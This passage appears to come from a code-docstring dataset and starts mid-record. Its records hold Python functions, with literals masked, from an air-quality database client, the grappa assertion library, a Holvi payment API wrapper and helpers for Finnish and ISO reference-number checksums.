df.stack(dropna=False)<EOL>df = df_stack.unstack('<STR_LIT:id>')<EOL>index = create_index(df.index, freq)<EOL>df.reset_index(inplace=True, drop=True)<EOL>df['<STR_LIT:date>'] = index<EOL>df = df.set_index(['<STR_LIT:date>'])<EOL>etats = etats.unstack('<STR_LIT:id>')<EOL>etats.fillna(value=MISSING_CODE * diviseur, inplace=True)<EOL>etats = etats.sum(axis=<NUM_LIT:0>)<EOL>etats = pd.DataFrame(list(zip(*etats.apply(list))))<EOL>etats.index = df.index<EOL>etats.columns = df.columns<EOL>dates_completes = date_range(debut, fin, freq)<EOL>df = df.reindex(dates_completes)<EOL>etats = etats.reindex(dates_completes)<EOL>invalid = etats_to_invalid(etats)<EOL>if not brut:<EOL><INDENT>dfn = df.mask(invalid)  <EOL>return dfn<EOL><DEDENT>else:<EOL><INDENT>return df, etats<EOL><DEDENT>", "docstring": "R\u00e9cup\u00e9ration des donn\u00e9es de mesure.\n\nParam\u00e8tres:\nmes: Un nom de mesure ou plusieurs s\u00e9par\u00e9es par des virgules, une liste\n    (list, tuple, pandas.Series) de noms\ndebut: Chaine de caract\u00e8re ou objet datetime d\u00e9crivant la date de d\u00e9but.\n    D\u00e9faut=date du jour\nfin: Chaine de caract\u00e8re ou objet datetime d\u00e9crivant la date de fin.\n    D\u00e9faut=date de d\u00e9but\nfreq: fr\u00e9quence de temps. '15T' | 'H' | 'D' | 'M' | 'A' (15T pour quart-horaire)\nformat: chaine de caract\u00e8re d\u00e9crivant le format des dates (ex:\"%Y-%m-%d\"\n    pour debut/fin=\"2013-01-28\"). Appeler pyair.date.strtime_help() pour\n    obtenir la liste des codes possibles.\n    Defaut=\"%Y-%m-%d\"\ndayfirst: Si aucun format n'est fourni et que les dates sont des chaines\n    de caract\u00e8res, aide le d\u00e9crypteur \u00e0 transformer la date en objet datetime\n    en sp\u00e9cifiant que les dates commencent par le jour (ex:11/09/2012\n    pourrait \u00eatre interpret\u00e9 comme le 09 novembre si dayfirst=False)\nbrut: si oui ou non renvoyer le dataframe brut, non invalid\u00e9, et les\n    codes d'\u00e9tat des mesures\n    Defaut=False\n\nRetourne:\nUn dataframe contenant toutes les mesures demand\u00e9es.\nSi brut=True, renvoie le  dataframe des mesures brutes non invalid\u00e9es et\nle dataframe des codes d'\u00e9tats.\nLe dataframe valide (net) peut \u00eatre alors recalcul\u00e9 en faisant:\nbrut, etats = xr.get_mesure(..., brut=True)\ninvalides = etats_to_invalid(etats)\nnet = brut.mask(invalides)", "id": "f6428:c0:m13"}
{"signature": "def get_manuelles(self, site, code_parametre, debut, fin, court=False):", "body": "condition = \"<STR_LIT>\" % code_parametre<EOL>condition += \"<STR_LIT>\" % site<EOL>condition += \"<STR_LIT>\" % debut<EOL>condition += \"<STR_LIT>\" % fin<EOL>if court == False:<EOL><INDENT>select = \"\"\"<STR_LIT>\"\"\"<EOL><DEDENT>else:<EOL><INDENT>select = \"\"\"<STR_LIT>\"\"\"<EOL><DEDENT>_sql = \"\"\"<STR_LIT>\"\"\" % (select, condition)<EOL>return psql.read_sql(_sql, self.conn)<EOL>", "docstring": "Recup\u00e9ration des mesures manuelles (labo) pour un site\n\nsite: num\u00e9ro du site (voir fonction liste_sites_prelevement)\ncode_parametre: code ISO du param\u00e8tre \u00e0 rechercher (C6H6=V4)\ndebut: date de d\u00e9but du premier pr\u00e9l\u00e8vement\nfin: date de fin du dernier pr\u00e9l\u00e8vement\ncourt: Renvoie un tableau au format court ou long (colonnes)", "id": "f6428:c0:m14"}
{"signature": "def get_indices(self, res, debut, fin):", "body": "res = _format(res)<EOL>_sql = \"\"\"<STR_LIT>\"\"\" % (res, debut, fin)<EOL>rep = psql.read_sql(_sql, self.conn)<EOL>df = rep.set_index(['<STR_LIT>', '<STR_LIT:date>'])<EOL>df = df['<STR_LIT>']<EOL>df = df.unstack('<STR_LIT>')<EOL>dates_completes = date_range(to_date(debut), to_date(fin), freq='<STR_LIT:D>')<EOL>df = df.reindex(dates_completes)<EOL>return df<EOL>", "docstring": "R\u00e9cup\u00e9ration des indices ATMO pour un r\u00e9seau donn\u00e9.\n\nParam\u00e8tres:\nres : Nom du ou des r\u00e9seaux \u00e0 chercher (str, list, pandas.Series)\ndebut: date de d\u00e9but, format YYYY-MM-JJ (str)\nfin: Date de fin, format YYYY-MM-JJ (str)", "id": "f6428:c0:m15"}
{"signature": "def get_indices_et_ssi(self, reseau, debut, fin, complet=True):", "body": "if complet:<EOL><INDENT>i_str = \"<STR_LIT>\"<EOL>ssi_str = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>i_str = \"<STR_LIT>\"<EOL>ssi_str = \"<STR_LIT>\"<EOL><DEDENT>_sql = \"\"\"<STR_LIT>\"\"\".format(i_str, ssi_str, reseau, debut, fin)<EOL>df = psql.read_sql(_sql, self.conn)<EOL>df = df.set_index(['<STR_LIT>', '<STR_LIT:date>'])<EOL>return df<EOL>", "docstring": "Renvoie l'indice et les sous_indices\n        complet: renvoyer les complets ou les pr\u00e9vus\n        reseau: nom du r\u00e9seau \u00e0 renvoyer\n        debut: date de d\u00e9but \u00e0 renvoyer\n        fin: date de fin \u00e0 renvoyer\n\n        Renvoi : reseau, date, Indice, sous_ind NO2,PM10,O3,SO2", "id": "f6428:c0:m16"}
{"signature": "def get_sqltext(self, format_=<NUM_LIT:1>):", "body": "if format_ == <NUM_LIT:1>:<EOL><INDENT>_sql = \"\"\"<STR_LIT>\"\"\"<EOL><DEDENT>if format_ == <NUM_LIT:2>:<EOL><INDENT>_sql = \"\"\"<STR_LIT>\"\"\"<EOL><DEDENT>return psql.read_sql(_sql, self.conn)<EOL>", "docstring": "retourne les requ\u00eates actuellement lanc\u00e9es sur le serveur", "id": "f6428:c0:m17"}
{"signature": "def validate(method):", "body": "<EOL>name_error = '<STR_LIT>'<EOL>@functools.wraps(method)<EOL>def validator(self, name, *args):<EOL><INDENT>if name not in self.allowed_opts:<EOL><INDENT>raise ValueError(name_error.format(name))<EOL><DEDENT>return method(self, name, *args)<EOL><DEDENT>return validator<EOL>", "docstring": "Config option name value validator decorator.", "id": "f6461:m0"}
{"signature": "def isoperator(x):", "body": "return all(<EOL>hasattr(x, name) for name in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>)<EOL>", "docstring": "Returns `True` if the given object implements the required attributes for\nan operator.\n\nReturns:\n    bool", "id": "f6464:m0"}
{"signature": "def register_operators(*operators):", "body": "def validate(operator):<EOL><INDENT>if isoperator(operator):<EOL><INDENT>return True<EOL><DEDENT>raise NotImplementedError('<STR_LIT>'.format(operator))<EOL><DEDENT>def register(operator):<EOL><INDENT>for name in operator.operators:<EOL><INDENT>if name in Engine.operators:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>name,<EOL>operator.__name__<EOL>))<EOL><DEDENT>Engine.operators[name] = operator<EOL><DEDENT><DEDENT>[register(operator) for operator in operators if validate(operator)]<EOL>", "docstring": "Registers one or multiple operators in the test engine.", "id": "f6464:m1"}
{"signature": "@staticmethod<EOL><INDENT>def register(*operators):<DEDENT>", "body": "register_operators(*operators)<EOL>", "docstring": "Registers one or multiple operators in the test engine.", "id": "f6464:c0:m1"}
{"signature": "def has(self, flag):", "body": "return flag in self.flags<EOL>", "docstring": "Returns `True` if the given flag name is present in the current\ncontext instance.\n\nReturns:\n    bool", "id": "f6467:c0:m1"}
{"signature": "def __getattr__(self, name):", "body": "return self.flags.get(name)<EOL>", "docstring": "Overloads class attribute accessor method in order to proxy access to\nthe store.", "id": "f6467:c0:m2"}
{"signature": "def __setattr__(self, name, value):", "body": "self.flags[name] = value<EOL>", "docstring": "Overloads class set attribute method in order to proxy access to the\nstore.", "id": "f6467:c0:m3"}
{"signature": "def clone(self):", "body": "return Context(self.__dict__['<STR_LIT>'].copy())<EOL>", "docstring": "Returns a copy of the current `Context` instance.\n\nReturns:\n    grappa.Context", "id": "f6467:c0:m4"}
{"signature": "def __repr__(self):", "body": "return str(self.__dict__['<STR_LIT>'])<EOL>", "docstring": "Human-readable context data.\n\nReturns:\n    str", "id": "f6467:c0:m5"}
{"signature": "def __getattr__(self, name):", "body": "<EOL>if self._match_alias(name):<EOL><INDENT>self._test._engine.add_keyword(name)<EOL>return self<EOL><DEDENT>if self.is_on_access():<EOL><INDENT>self._on_access()<EOL><DEDENT>suboperator = self._match_suboperator(name)<EOL>if suboperator:<EOL><INDENT>self._test._engine.add_keyword(name)<EOL>if suboperator.is_on_access():<EOL><INDENT>suboperator._on_access()<EOL><DEDENT>return suboperator<EOL><DEDENT>return getattr(self._test, name)<EOL>", "docstring": "Overloads attribute accessor in order to load the assertion\noperator dynamically.", "id": "f6480:c0:m6"}
{"signature": "def __ror__(self, value):", "body": "return self._fn(value)._trigger()<EOL>", "docstring": "Overloads ``|`` operator.", "id": "f6480:c0:m7"}
{"signature": "def __gt__(self, value):", "body": "return self.__ror_(value)<EOL>", "docstring": "Overloads ``>`` operator.", "id": "f6480:c0:m8"}
{"signature": "def not_implemented(symbol, self, value):", "body": "raise NotImplementedError('<STR_LIT>'.format(<EOL>symbol<EOL>))<EOL>", "docstring": "Raises an `NotImplementedError` exception when called.", "id": "f6481:m0"}
{"signature": "@property<EOL><INDENT>def should(self):<DEDENT>", "body": "return self<EOL>", "docstring": "Alias name to self reference the current instance.\nRequired for DSL API.", "id": "f6482:c0:m1"}
{"signature": "@property<EOL><INDENT>def expect(self):<DEDENT>", "body": "return self<EOL>", "docstring": "Alias name to self reference the current instance.\nRequired for DSL API.", "id": "f6482:c0:m2"}
{"signature": "def __call__(self, subject, overload=False):", "body": "self._ctx.subject = subject<EOL>return self._trigger() if overload else Test(subject)<EOL>", "docstring": "Overloads function invokation of `Test` class instance.\n\nThis is magical and widely used in `grappa` test execution by both\ndevelopers and internal engine.\n\nArguments:\n    subject (mixed): test subject to use.\n    overload (bool): `True` if the call if triggered via operator\n        overloading invokation, otherise `False`.\n\nReturns:\n    grappa.Test: new test instance with the given subject.", "id": "f6482:c0:m4"}
{"signature": "def __getattr__(self, name):", "body": "<EOL>if self._global:<EOL><INDENT>subject = self._context_subject if self._context else empty<EOL>return Test(subject).__getattr__(name)<EOL><DEDENT>return OperatorResolver(self).resolve(name)<EOL>", "docstring": "Overloads class attribute accessor proxying calls dynamically\ninto assertion operators calls.\n\nThis method is invoked by Python runtime engine, not by developers.", "id": "f6482:c0:m5"}
{"signature": "def _trigger(self):", "body": "log.debug('<STR_LIT>'.format(self._ctx))<EOL>try:<EOL><INDENT>err = self._engine.run(self._ctx)<EOL><DEDENT>except Exception as _err:<EOL><INDENT>err = _err<EOL><DEDENT>finally:<EOL><INDENT>self._engine.reset()<EOL>self._root._engine.reset()<EOL><DEDENT>if err:<EOL><INDENT>raise err<EOL><DEDENT>return self<EOL>", "docstring": "Trigger assertions in the current test engine.\n\nRaises:\n    AssertionError: in case of assertion error.\n    Exception: in case of any other assertion error.", "id": "f6482:c0:m6"}
{"signature": "def _clone(self):", "body": "test = Test(self._ctx.subject)<EOL>test._ctx = self._ctx.clone()<EOL>test._engine = self._engine.clone()<EOL>return test<EOL>", "docstring": "Clones the current `Test` instance.\n\nReturns:\n    grappa.Test", "id": "f6482:c0:m7"}
{"signature": "def _flush(self):", "body": "self.__init__()<EOL>", "docstring": "Flushes the current test state, including test engine, assertions and\ncurrent context.", "id": "f6482:c0:m8"}
{"signature": "def __overload__(self, subject):", "body": "if isinstance(subject, Test):<EOL><INDENT>fork = subject._clone()<EOL>fork._ctx.chained = True<EOL>fork._ctx.subject = self._ctx.subject<EOL>return fork._trigger()<EOL><DEDENT>return self.__call__(subject, overload=True)<EOL>", "docstring": "Method triggered by magic methods executed via operator overloading.", "id": "f6482:c0:m11"}
{"signature": "def __or__(self, value):", "body": "return self.__overload__(value)<EOL>", "docstring": "Overloads ``|`` as from left-to-right operator precedence expression.", "id": "f6482:c0:m12"}
{"signature": "def __ror__(self, value):", "body": "return self.__overload__(value)<EOL>", "docstring": "Overloads ``|`` operator.", "id": "f6482:c0:m13"}
{"signature": "def __gt__(self, value):", "body": "return self.__overload__(value)<EOL>", "docstring": "Overloads ``>`` operator.", "id": "f6482:c0:m14"}
{"signature": "def __enter__(self):", "body": "log.debug('<STR_LIT>'.format(self._ctx))<EOL>test._context += <NUM_LIT:1><EOL>test._context_subject = self._ctx.subject<EOL>", "docstring": "Initializes context manager.", "id": "f6482:c0:m15"}
{"signature": "def __exit__(self, etype, value, traceback):", "body": "log.debug('<STR_LIT>'.format(value))<EOL>test._context -= <NUM_LIT:1><EOL>if test._context == <NUM_LIT:0>:<EOL><INDENT>test._context_subject = empty<EOL><DEDENT>", "docstring": "Exists context manager.", "id": "f6482:c0:m16"}
{"signature": "def __getattr__(self, name):", "body": "_test = getattr(test, name)<EOL>if inspect.ismethod(_test):<EOL><INDENT>return _test<EOL><DEDENT>_test._ctx.style = self._style<EOL>return _test<EOL>", "docstring": "Overloads object attribute accessory proxy to the currently used\noperator and parent test instance.", "id": "f6486:c0:m1"}
{"signature": "def __call__(self, *args, **kw):", "body": "_test = test(*args, **kw)<EOL>_test._ctx.style = self._style<EOL>return _test<EOL>", "docstring": "Makes proxy object itself callable, delegating the invokation\nto a new test instance.", "id": "f6486:c0:m2"}
{"signature": "def use(plugin):", "body": "log.debug('<STR_LIT>'.format(plugin))<EOL>if inspect.isfunction(plugin):<EOL><INDENT>return plugin(Engine)<EOL><DEDENT>if plugin and hasattr(plugin, '<STR_LIT>'):<EOL><INDENT>return plugin.register(Engine)<EOL><DEDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>", "docstring": "Register plugin in grappa.\n\n`plugin` argument can be a function or a object that implement `register`\nmethod, which should accept one argument: `grappa.Engine` instance.\n\nArguments:\n    plugin (function|module): grappa plugin object to register.\n\nRaises:\n    ValueError: if `plugin` is not a valid interface.\n\nExample::\n\n    import grappa\n\n    class MyOperator(grappa.Operator):\n        pass\n\n    def my_plugin(engine):\n        engine.register(MyOperator)\n\n    grappa.use(my_plugin)", "id": "f6487:m0"}
{"signature": "def run(self, ctx):", "body": "<EOL>if ctx.reverse:<EOL><INDENT>self.engine.reverse()<EOL><DEDENT>if self.engine.empty:<EOL><INDENT>raise AssertionError('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>return self.run_assertions(ctx)<EOL><DEDENT>except Exception as _err:<EOL><INDENT>if getattr(_err, '<STR_LIT>', False):<EOL><INDENT>raise _err<EOL><DEDENT>return self.render_error(ctx, _err)<EOL><DEDENT>", "docstring": "Runs the current phase.", "id": "f6488:c0:m3"}
{"signature": "def operator(name=None, operators=None, aliases=None, kind=None):", "body": "def delegator(assertion, subject, expected, *args, **kw):<EOL><INDENT>return assertion.test(subject, expected, *args, **kw)<EOL><DEDENT>def decorator(fn):<EOL><INDENT>operator = Operator(fn=fn, aliases=aliases, kind=kind)<EOL>_name = name if isinstance(name, six.string_types) else fn.__name__<EOL>operator.operators = (_name,)<EOL>_operators = operators<EOL>if isinstance(_operators, list):<EOL><INDENT>_operators = tuple(_operators)<EOL><DEDENT>if isinstance(_operators, tuple):<EOL><INDENT>operator.operators += _operators<EOL><DEDENT>Engine.register(operator)<EOL>return functools.partial(delegator, operator)<EOL><DEDENT>return decorator(name) if inspect.isfunction(name) else decorator<EOL>", "docstring": "Registers a new operator function in the test engine.\n\nArguments:\n    *args: variadic arguments.\n    **kw: variadic keyword arguments.\n\nReturns:\n    function", "id": "f6490:m0"}
{"signature": "def attribute(*args, **kw):", "body": "return operator(kind=Operator.Type.ATTRIBUTE, *args, **kw)<EOL>", "docstring": "Registers a new attribute only operator function in the test engine.\n\nArguments:\n    *args: variadic arguments.\n    **kw: variadic keyword arguments.\n\nReturns:\n    function", "id": "f6490:m1"}
{"signature": "def register(operator):", "body": "Engine.register(operator)<EOL>return operator<EOL>", "docstring": "Registers a new operator class in the test engine.\n\nArguments:\n    operator (Operator): operator class to register.\n\nReturns:\n    Operator: operator class.", "id": "f6490:m2"}
{"signature": "def __call__(self, *args, **kw):", "body": "operator = Operator()<EOL>operator.__dict__ = self.__dict__.copy()<EOL>operator.__init__(*args, **kw)<EOL>return operator<EOL>", "docstring": "Overloads function invokation in current operator and creates a new\ncloned operator instance.", "id": "f6491:c1:m2"}
{"signature": "def observe(matcher):", "body": "@functools.wraps(matcher)<EOL>def observer(self, subject, *expected, **kw):<EOL><INDENT>if hasattr(self, '<STR_LIT>'):<EOL><INDENT>self.before(subject, *expected, **kw)<EOL><DEDENT>result = matcher(self, subject, *expected, **kw)<EOL>if result is not True and hasattr(self, '<STR_LIT>'):<EOL><INDENT>self.after_error(result, subject, *expected, **kw)<EOL><DEDENT>if result is True and hasattr(self, '<STR_LIT>'):<EOL><INDENT>self.after_success(subject, *expected, **kw)<EOL><DEDENT>if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self.show_diff = all([<EOL>isinstance(subject, six.string_types),<EOL>all([isinstance(x, six.string_types) for x in expected]),<EOL>])<EOL><DEDENT>return result<EOL><DEDENT>return observer<EOL>", "docstring": "Internal decorator to trigger operator hooks before/after\nmatcher execution.", "id": "f6491:c1:m3"}
{"signature": "@observe<EOL><INDENT>def run_matcher(self, subject, *expected, **kw):<DEDENT>", "body": "<EOL>self.expected = expected<EOL>_args = (subject,)<EOL>if self.kind == OperatorTypes.MATCHER:<EOL><INDENT>_args += expected<EOL><DEDENT>try:<EOL><INDENT>result = self.match(*_args, **kw)<EOL><DEDENT>except Exception as error:<EOL><INDENT>return self._make_error(error=error)<EOL><DEDENT>reasons = []<EOL>if isinstance(result, tuple):<EOL><INDENT>result, reasons = result<EOL><DEDENT>if result is False and self.ctx.negate:<EOL><INDENT>return True<EOL><DEDENT>if result is True and not self.ctx.negate:<EOL><INDENT>return True<EOL><DEDENT>return self._make_error(reasons=reasons)<EOL>", "docstring": "Runs the operator matcher test function.", "id": "f6491:c1:m5"}
{"signature": "def run(self, *args, **kw):", "body": "log.debug('<STR_LIT>'.format(<EOL>self.__class__.__name__, args<EOL>))<EOL>if self.kind == OperatorTypes.ATTRIBUTE:<EOL><INDENT>return self.match(self.ctx)<EOL><DEDENT>else:<EOL><INDENT>return self.run_matcher(*args, **kw)<EOL><DEDENT>", "docstring": "Runs the current operator with the subject arguments to test.\n\nThis method is implemented by matchers only.", "id": "f6491:c1:m6"}
{"signature": "def load():", "body": "for operator in operators:<EOL><INDENT>module, symbols = operator[<NUM_LIT:0>], operator[<NUM_LIT:1>:]<EOL>path = '<STR_LIT>'.format(module)<EOL>operator = __import__(path, None, None, symbols)<EOL>for symbol in symbols:<EOL><INDENT>Engine.register(getattr(operator, symbol))<EOL><DEDENT><DEDENT>", "docstring": "Loads the built-in operators into the global test engine.", "id": "f6508:m0"}
{"signature": "@attribute(<EOL>operators=(<EOL>'<STR_LIT:to>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'<EOL>)<EOL>)<EOL>def be(ctx):", "body": "ctx.negate = False<EOL>", "docstring": "Semantic attributes providing chainable declarative DSL\nfor assertions.", "id": "f6509:m0"}
{"signature": "@attribute(operators=(<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>'<EOL>))<EOL>def not_be(ctx):", "body": "ctx.negate = True<EOL>", "docstring": "Semantic negation attributes providing chainable declarative DSL\nfor assertions.", "id": "f6509:m1"}
{"signature": "def list_products(self):", "body": "url = self.base_url<EOL>obdata = self.connection.make_get(url)<EOL>return ProductList(obdata, self)<EOL>", "docstring": "Lists all products in the system, returns ProductList you can iterate over.\n\n        Holvi API does not currently support server-side filtering so you will have to use Pythons filter() function as usual.", "id": "f6518:c5:m1"}
{"signature": "def get_product(self, code):", "body": "candidates = list(filter(lambda c: c.code == code, self.list_products()))<EOL>if not len(candidates):<EOL><INDENT>return None<EOL><DEDENT>return candidates[<NUM_LIT:0>]<EOL>", "docstring": "Gets product with given code\n\n        NOTE: Filters the list of products in this end due to API limitations", "id": "f6518:c5:m2"}
{"signature": "@classmethod<EOL><INDENT>def singleton(self, poolname, authkey):<DEDENT>", "body": "global CONNECTION_MAP<EOL>mapkey = \"<STR_LIT>\" % (poolname, authkey)<EOL>if not mapkey in CONNECTION_MAP:<EOL><INDENT>CONNECTION_MAP[mapkey] = Connection(poolname, authkey)<EOL><DEDENT>return CONNECTION_MAP[mapkey]<EOL>", "docstring": "Get a singleton of a connection", "id": "f6519:c0:m0"}
{"signature": "def _init_session(self):", "body": "if not self.session:<EOL><INDENT>self.session = requests.Session()<EOL>self.session.headers.update({<EOL>'<STR_LIT:Content-Type>': '<STR_LIT:application/json>',<EOL>'<STR_LIT>': '<STR_LIT>' % self.key<EOL>})<EOL><DEDENT>self.session.remove_expired_responses()<EOL>", "docstring": "Iniitializes a requests.Session for us if not already initialized", "id": "f6519:c0:m2"}
{"signature": "def make_get(self, url, params={}):", "body": "self._init_session()<EOL>r = self.session.get(url, params=params)<EOL>try:<EOL><INDENT>r.raise_for_status()<EOL><DEDENT>except Timeout as e:<EOL><INDENT>raise ApiTimeout(e.__str__(), response=e.response)  <EOL><DEDENT>except HTTPError as e:<EOL><INDENT>if e.response.status_code in (<NUM_LIT>, <NUM_LIT>):<EOL><INDENT>raise AuthenticationError(e.__str__(), response=e.response)  <EOL><DEDENT>else:<EOL><INDENT>raise ApiError(e.__str__(), response=e.response)  <EOL><DEDENT><DEDENT>return r.json()<EOL>", "docstring": "Make a GET request", "id": "f6519:c0:m3"}
{"signature": "def make_post(self, url, payload):", "body": "return self._make_ppp('<STR_LIT>', url, payload)<EOL>", "docstring": "Make a POST request", "id": "f6519:c0:m4"}
{"signature": "def make_put(self, url, payload):", "body": "return self._make_ppp('<STR_LIT>', url, payload)<EOL>", "docstring": "Make a PUT request", "id": "f6519:c0:m5"}
{"signature": "def make_patch(self, url, payload):", "body": "return self._make_ppp('<STR_LIT>', url, payload)<EOL>", "docstring": "Make a PATCH request", "id": "f6519:c0:m6"}
{"signature": "def _make_ppp(self, method, url, payload):", "body": "self._init_session()<EOL>self.session.cache.clear()<EOL>m = getattr(self.session, method)<EOL>r = m(url, json=payload)<EOL>try:<EOL><INDENT>r.raise_for_status()<EOL><DEDENT>except Timeout as e:<EOL><INDENT>raise ApiTimeout(e.__str__(), response=e.response)  <EOL><DEDENT>except HTTPError as e:<EOL><INDENT>if e.response.status_code in (<NUM_LIT>, <NUM_LIT>):<EOL><INDENT>raise AuthenticationError(e.__str__(), response=e.response)  <EOL><DEDENT>else:<EOL><INDENT>raise ApiError(e.__str__(), response=e.response)  <EOL><DEDENT><DEDENT>return r.json()<EOL>", "docstring": "Internal helper to make POST/PUT/PATCH requests (or whatever the underlying library supports)", "id": "f6519:c0:m7"}
{"signature": "def _init_empty(self):", "body": "self._jsondata = {<EOL>\"<STR_LIT:code>\": None,<EOL>\"<STR_LIT>\": [],<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:email>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>}<EOL>", "docstring": "Creates the base set of attributes order has/needs", "id": "f6526:c0:m2"}
{"signature": "def save(self):", "body": "if self.code:<EOL><INDENT>raise HolviError(\"<STR_LIT>\")<EOL><DEDENT>send_json = self.to_holvi_dict()<EOL>send_json.update({<EOL>'<STR_LIT>': self.api.connection.pool<EOL>})<EOL>url = six.u(self.api.base_url + \"<STR_LIT>\")<EOL>stat = self.api.connection.make_post(url, send_json)<EOL>code = stat[\"<STR_LIT>\"].split(\"<STR_LIT:/>\")[-<NUM_LIT:2>]  <EOL>return (stat[\"<STR_LIT>\"], self.api.get_order(code))<EOL>", "docstring": "Saves this order to Holvi, returns a tuple with the order itself and checkout_uri", "id": "f6526:c0:m5"}
{"signature": "def list_orders(self, **kwargs):", "body": "url = self.base_url + \"<STR_LIT>\".format(pool=self.connection.pool)<EOL>orders = self.connection.make_get(url, params=kwargs)<EOL>return OrderList(orders, self)<EOL>", "docstring": "Lists all orders in the system, returns OrderList you can iterate over.\n\n        Add Holvi supported GET filters via kwargs, API documentation (last update time unknown) says following keys are supported:\n\n          - filter_paid_time_from (datetime): Returns orders that are paid on or after the given datetime.\n          - filter_paid_time_to (datetime): Returns orders that are paid on or before the given datetime.\n          - filter_update_time_from (datetime): Returns orders that are updated on or after the given datetime.\n          - filter_update_time_to (datetime): Returns orders that are updated on or before the given datetime.\n          - firstname (string): Returns orders where buyer's first name matches the given string (parial, case insensitive match)\n          - lastname (string): Returns orders where buyer's last name matches the given string (parial, case insensitive match)\n          - street (string): Returns orders where buyer's street address matches the given string (parial, case insensitive match)\n          - city (string): Returns orders where buyer's city matches the given string (parial, case insensitive match)\n          - postcode (string): Returns orders where buyer's postcode matches the given string (parial, case insensitive match)\n          - country (string): Returns orders where buyer's country matches the given string (parial, case insensitive match)\n          - email (string): Returns orders where buyer's email address matches the given string (parial, case insensitive match)\n          - company (string): Returns orders where buyer's company name matches the given string (parial, case insensitive match)\n\n        All times are ISO datetimes, try for example '2016-01-20T00:00:00.0Z'.\n\n        For other kinds of filtering use Pythons filter() function as usual.", "id": "f6526:c4:m1"}
{"signature": "def get_order(self, order_code):", "body": "url = self.base_url + \"<STR_LIT>\".format(code=order_code)<EOL>ojson = self.connection.make_get(url)<EOL>return Order(self, ojson)<EOL>", "docstring": "Retvieve given Order", "id": "f6526:c4:m2"}
{"signature": "def list_income_categories(self):", "body": "url = self.base_url<EOL>obdata = self.connection.make_get(url)<EOL>return IncomeCategoryList(obdata, self)<EOL>", "docstring": "Lists all products in the system, returns IncomeCategoryList you can iterate over.\n\n        Holvi API does not currently support server-side filtering so you will have to use Pythons filter() function as usual.", "id": "f6527:c6:m1"}
{"signature": "def list_expense_categories(self):", "body": "url = self.base_url<EOL>obdata = self.connection.make_get(url)<EOL>return ExpenseCategoryList(obdata, self)<EOL>", "docstring": "Lists all products in the system, returns ExpenseCategoryList you can iterate over.\n\n        Holvi API does not currently support server-side filtering so you will have to use Pythons filter() function as usual.", "id": "f6527:c6:m2"}
{"signature": "def get_category(self, code):", "body": "candidates = list(filter(lambda c: c.code == code, itertools.chain(self.list_income_categories(), self.list_expense_categories())))<EOL>if not len(candidates):<EOL><INDENT>return None<EOL><DEDENT>return candidates[<NUM_LIT:0>]<EOL>", "docstring": "Gets category with given code\n\n        NOTE: Filters the list of income and expense categories in this end due to API limitations", "id": "f6527:c6:m3"}
{"signature": "def int2fin_reference(n):", "body": "checksum = <NUM_LIT:10> - (sum([int(c) * i for c, i in zip(str(n)[::-<NUM_LIT:1>], it.cycle((<NUM_LIT:7>, <NUM_LIT:3>, <NUM_LIT:1>)))]) % <NUM_LIT:10>)<EOL>if checksum == <NUM_LIT:10>:<EOL><INDENT>checksum = <NUM_LIT:0><EOL><DEDENT>return \"<STR_LIT>\" % (n, checksum)<EOL>", "docstring": "Calculates a checksum for a Finnish national reference number", "id": "f6530:m0"}
{"signature": "def fin_reference_isvalid(n):", "body": "return int2fin_reference(str(n)[:-<NUM_LIT:1>]) == str(n)<EOL>", "docstring": "Check that the given Finnish national reference number is valid (ie the checksum is valid)", "id": "f6530:m1"}
{"signature": "def iso_reference_valid_char(c, raise_error=True):", "body": "if c in ISO_REFERENCE_VALID:<EOL><INDENT>return True<EOL><DEDENT>if raise_error:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (c, ISO_REFERENCE_VALID))<EOL><DEDENT>return False<EOL>", "docstring": "Helper to make sure the given character is valid for a reference number", "id": "f6530:m2"}
{"signature": "def iso_reference_char2int(c):", "body": "iso_reference_valid_char(c, True)<EOL>return (ord(c) - <NUM_LIT>)<EOL>", "docstring": "Maps the characters in ISO reference (ones starting with RF) to their corresponding integers", "id": "f6530:m3"}
{"signature": "def iso_reference_str2int(n):", "body": "n = n.upper()<EOL>numbers = []<EOL>for c in n:<EOL><INDENT>iso_reference_valid_char(c)<EOL>if c in ISO_REFERENCE_VALID_NUMERIC:<EOL><INDENT>numbers.append(c)<EOL><DEDENT>else:<EOL><INDENT>numbers.append(str(iso_reference_char2int(c)))<EOL><DEDENT><DEDENT>return int('<STR_LIT>'.join(numbers))<EOL>", "docstring": "Creates the huge number from ISO alphanumeric ISO reference", "id": "f6530:m4"}
{"signature": "def int2iso_reference(n):", "body": "import warnings<EOL>warnings.warn(\"<STR_LIT>\", DeprecationWarning)<EOL>return str2iso_reference(str(n))<EOL>", "docstring": "Calculates checksum (and adds the RF prefix) for an international reference number from an integer", "id": "f6530:m5"}
